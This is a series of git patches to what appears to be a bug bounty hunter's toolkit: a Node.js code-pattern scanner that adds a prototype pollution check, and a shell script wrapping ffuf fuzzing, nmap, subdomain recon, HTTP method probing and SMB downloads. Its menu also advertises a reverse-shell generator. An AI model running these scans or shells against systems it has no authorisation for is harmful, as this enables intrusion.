".*mysql\.createConnection\(", ".*\.query\(", ".*serialize\(", - ".*unserialize\(" + ".*unserialize\(", + ".*__proto__" ] browser_patterns = [ @@ -185,7 +186,7 @@ url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] -patterns = nodejs_patterns + npm_patterns +patterns = nodejs_patterns total_files = 0 patterns_identified = 0 files_with_identified_patterns = 0 @@ -297,7 +298,7 @@ def perform_code_analysis(src, pattern="", verbose=False): print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose, _file.name) + ' pattern found ', _code, verbose, _file.name) # URL searching if identify_urls == True: diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py deleted file mode 100755 index ae17601..0000000 --- a/nodestructor/static_analysis.py +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/python -import re -import sys -import argparse - -from imports.beautyConsole import beautyConsole - -jsfile = open('/Users/bl4de/hacking/bugbounty/Roche_Private/src/admin-client.js', 'r') -file_read = jsfile.readlines() - - -# variables -variables = [] -variable_to_trace = '' - -variable_definition_regex = '(let|const|var)\s+([_$a-zA-Z0-9]+)' - -line_no = 0 - - -def decorate_varname(var_name): - return beautyConsole.getColor("red") + var_name + beautyConsole.getColor("white") - - -def decorate_source(src_line): - return beautyConsole.getColor("yellow") + src_line + beautyConsole.getColor("white") - -parser = argparse.ArgumentParser() -parser.add_argument( - "-v", "--variable", help="Name of variable to trace") - -ARGS = parser.parse_args() - -if ARGS.variable: - variable_to_trace = ARGS.variable.strip() - -print("\n\n[+] STARTING ANALYSIS...\n") -for line in file_read: - line = line.replace('\n', '') - line_no = line_no + 1 - - res = re.search(variable_definition_regex, line) - if res: - variable_name = res.group(2) - if variable_name == variable_to_trace: - print("\n[+] found {} variable definition in line {}:\n {}"\ - .format(decorate_varname(variable_name), line_no, decorate_source(line))) - inner_line_no = 0 - - if variable_name == variable_to_trace: - for inner_line in file_read: - inner_line = inner_line.replace('\n', '') - inner_line_no = inner_line_no + 1 - if variable_name + '=' in inner_line.replace(' ', ''): - print("\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print("\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - -print("\n\n[+] DONE\n") diff --git a/nodestructor/test.py b/nodestructor/test.py deleted file mode 100755 index 036d1cf..0000000 --- a/nodestructor/test.py +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/python -import re - -EXCLUDE = ['babel','xxx','eee'] -subdir = 'node_modules/babel-register/lib' - -print [e in subdir for e in EXCLUDE] \ No newline at end of file diff --git a/nodestructor/testfiles/1.js b/nodestructor/testfiles/1.js new file mode 100644 index 0000000..b701134 --- /dev/null +++ b/nodestructor/testfiles/1.js @@ -0,0 +1,5 @@ +const obj1 = {}; +obj1.__proto__.x = 1; +console.log(obj1.x === 1); // true +const obj2 = {}; +console.log(obj2.x === 1); // true From 929e00ca816a2af40a3f99982fbab63889def314 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 11:48:07 +0100 Subject: [PATCH 327/460] [s0mbra] improvements of options for fu and recon --- s0mbra.sh | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9f1735b..dbf5c67 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,6 +277,7 @@ recon() { FEROXBUSTER="1" X8="1" SUBDOMANIZER="1" + SELECTED_OPTIONS="nmap, nikto, ffuf, feroxbuster, x8, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) @@ -286,6 +287,7 @@ recon() { FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + SELECTED_OPTIONS=$2 fi # set proto: @@ -301,7 +303,7 @@ recon() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $2...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $SELECTED_OPTIONS...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -358,8 +360,12 @@ recon() { fu() { clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 + # set response status code(s) to match on: + if [[ -z $4 ]]; then + HTTP_RESP_CODES=200,206,301,302,403,500 + else + HTTP_RESP_CODES=$4 + fi echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" @@ -841,7 +847,7 @@ case "$cmd" in hshr "$2" ;; fu) - fu "$2" "$3" "$4" + fu "$2" "$3" "$4" "$5" ;; get) get "$2" @@ -874,7 +880,7 @@ case "$cmd" in echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" @@ -916,7 +922,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" - echo -e "$CLR" ;; esac From a2896c902447c99cf2970762711e7695300bf6fd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 13:54:06 +0100 Subject: [PATCH 328/460] [s0mbra] fix for fu optional and params --- s0mbra.sh | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index dbf5c67..7d65754 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -375,8 +375,13 @@ fu() { # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + if [[ $3 == "-" ]]; then + # if $3 equals - (dash) that means we should ignore it at all + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi fi else ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" From 87efb76379ba97e47dd5afd019716f959606da67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 14:00:47 +0100 Subject: [PATCH 329/460] [s0mbra] methods options improvements --- s0mbra.sh | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7d65754..8c6e5ea 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -690,9 +690,9 @@ get() { PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do - echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + echo -e "$YELLOW\n[s0mbra] Executing HTTP request to port $PORT...$CLR" curl -I -m 10 http://$1:$PORT - echo -e "$YELLOW[s0mbra] Executing HTTPS request to port $PORT...$CLR" + echo -e "$YELLOW\n[s0mbra] Executing HTTPS request to port $PORT...$CLR" curl -I -m 10 https://$1:$PORT echo done @@ -747,7 +747,11 @@ methods() { echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" for HTTP_METHOD in "${METHODS[@]}"; do echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + if [[ -z $2 ]]; then + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 | grep HTTP + else + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + fi echo done echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -858,7 +862,7 @@ case "$cmd" in get "$2" ;; methods) - methods "$2" + methods "$2" "$3" ;; endpoints) endpoints "$2" "$3" @@ -887,7 +891,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" - echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" + echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From c2b68fcd0bb6f2f7f74a2aa555cbac86ad98fc52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 23 Jul 2022 19:15:52 +0100 Subject: [PATCH 330/460] [s0mbra] Default dict in fu --- s0mbra.sh | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8c6e5ea..7e4a1f2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -360,6 +360,14 @@ recon() { fu() { clear + + # use starter.txt as default dictionary + if [[ -z $2 ]]; then + SELECTED_DICT=starter + else + SELECTED_DICT=$2 + fi + # set response status code(s) to match on: if [[ -z $4 ]]; then HTTP_RESP_CODES=200,206,301,302,403,500 @@ -367,24 +375,24 @@ fu() { HTTP_RESP_CODES=$4 fi - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $SELECTED_DICT.txt dictionary matching $HTTP_RESP_CODES...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } From ebfeb4927d97a5dcb0246e98ad6050276448e28f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jul 2022 11:39:19 +0100 Subject: [PATCH 331/460] [s0mbra] Make API tools as a separate menu category --- s0mbra.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7e4a1f2..113d9c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -900,9 +900,10 @@ case "$cmd" in echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" - echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" + echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" + echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" From b8a6737b590936852a7470572903917416bb4f94 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jul 2022 15:03:20 +0100 Subject: [PATCH 332/460] [s0mbra] change output files extension --- s0mbra.sh | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 113d9c6..e17914c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -201,30 +201,30 @@ lookaround() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.tmp" + sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.log" done # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains cat s0mbra_recon_sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -237,29 +237,29 @@ peek() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.tmp" + sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains cat s0mbra_recon_sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -312,7 +312,7 @@ recon() { # nmap if [[ $NMAP -eq "1" ]]; then echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" - nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.log $HOSTNAME fi # nikto From 430e4efa5854fa42b0173c2f702d171db691655d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Jul 2022 12:47:20 +0100 Subject: [PATCH 333/460] [s0mbra] remove default screen clear --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e17914c..e13b287 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -767,7 +767,6 @@ methods() { ### menu cmd=$1 -clear case "$cmd" in set_ip) From 288cabcc5c354f0c2a9150c90f0426f0aeff5c52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Jul 2022 22:54:01 +0100 Subject: [PATCH 334/460] [s0mbra] Remove unused get --- s0mbra.sh | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index e13b287..fea4231 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -693,20 +693,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# executes HTTP requests to most common HTTP ports -get() { - PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) - echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" - for PORT in "${PORTS[@]}"; do - echo -e "$YELLOW\n[s0mbra] Executing HTTP request to port $PORT...$CLR" - curl -I -m 10 http://$1:$PORT - echo -e "$YELLOW\n[s0mbra] Executing HTTPS request to port $PORT...$CLR" - curl -I -m 10 https://$1:$PORT - echo - done - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # enumerates available HTTP methods on host methods() { METHODS=( @@ -865,9 +851,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" "$5" ;; - get) - get "$2" - ;; methods) methods "$2" "$3" ;; @@ -897,7 +880,6 @@ case "$cmd" in echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" From 8be4dde8d2a551cc96cb9507d6e0dea853369b30 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Jul 2022 13:06:37 +0100 Subject: [PATCH 335/460] [s0mbra] misc SMB changes --- s0mbra.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fea4231..1ee8c7c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -145,21 +145,21 @@ smb_enum() { # download file from SMB share smb_get_file() { - if [[ -z $2 ]]; then + if [[ -z $3 ]]; then username='NULL' - elif [[ -n $2 ]]; then - username="$2" + elif [[ -n $3 ]]; then + username="$3" fi - if [[ -z $3 ]]; then + if [[ -z $4 ]]; then password='' - elif [[ -n $3 ]]; then - password="$3" + elif [[ -n $4 ]]; then + password="$4" fi - echo -e "$BLUE[s0mbra] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $2 from $1...$CLR" echo -e "$GREEN" - smbmap -H "$1" -u "$2" -p "$3" --download "$4" + smbmap -H "$1" -u "$3" -p "$4" --download "$2" echo -e "$CLR" echo -e "\n$BLUE[s0mbra] Done." } @@ -882,7 +882,7 @@ case "$cmd" in echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which contains PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" @@ -896,11 +896,11 @@ case "$cmd" in echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - # echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - # echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - # echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - # echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - # echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] 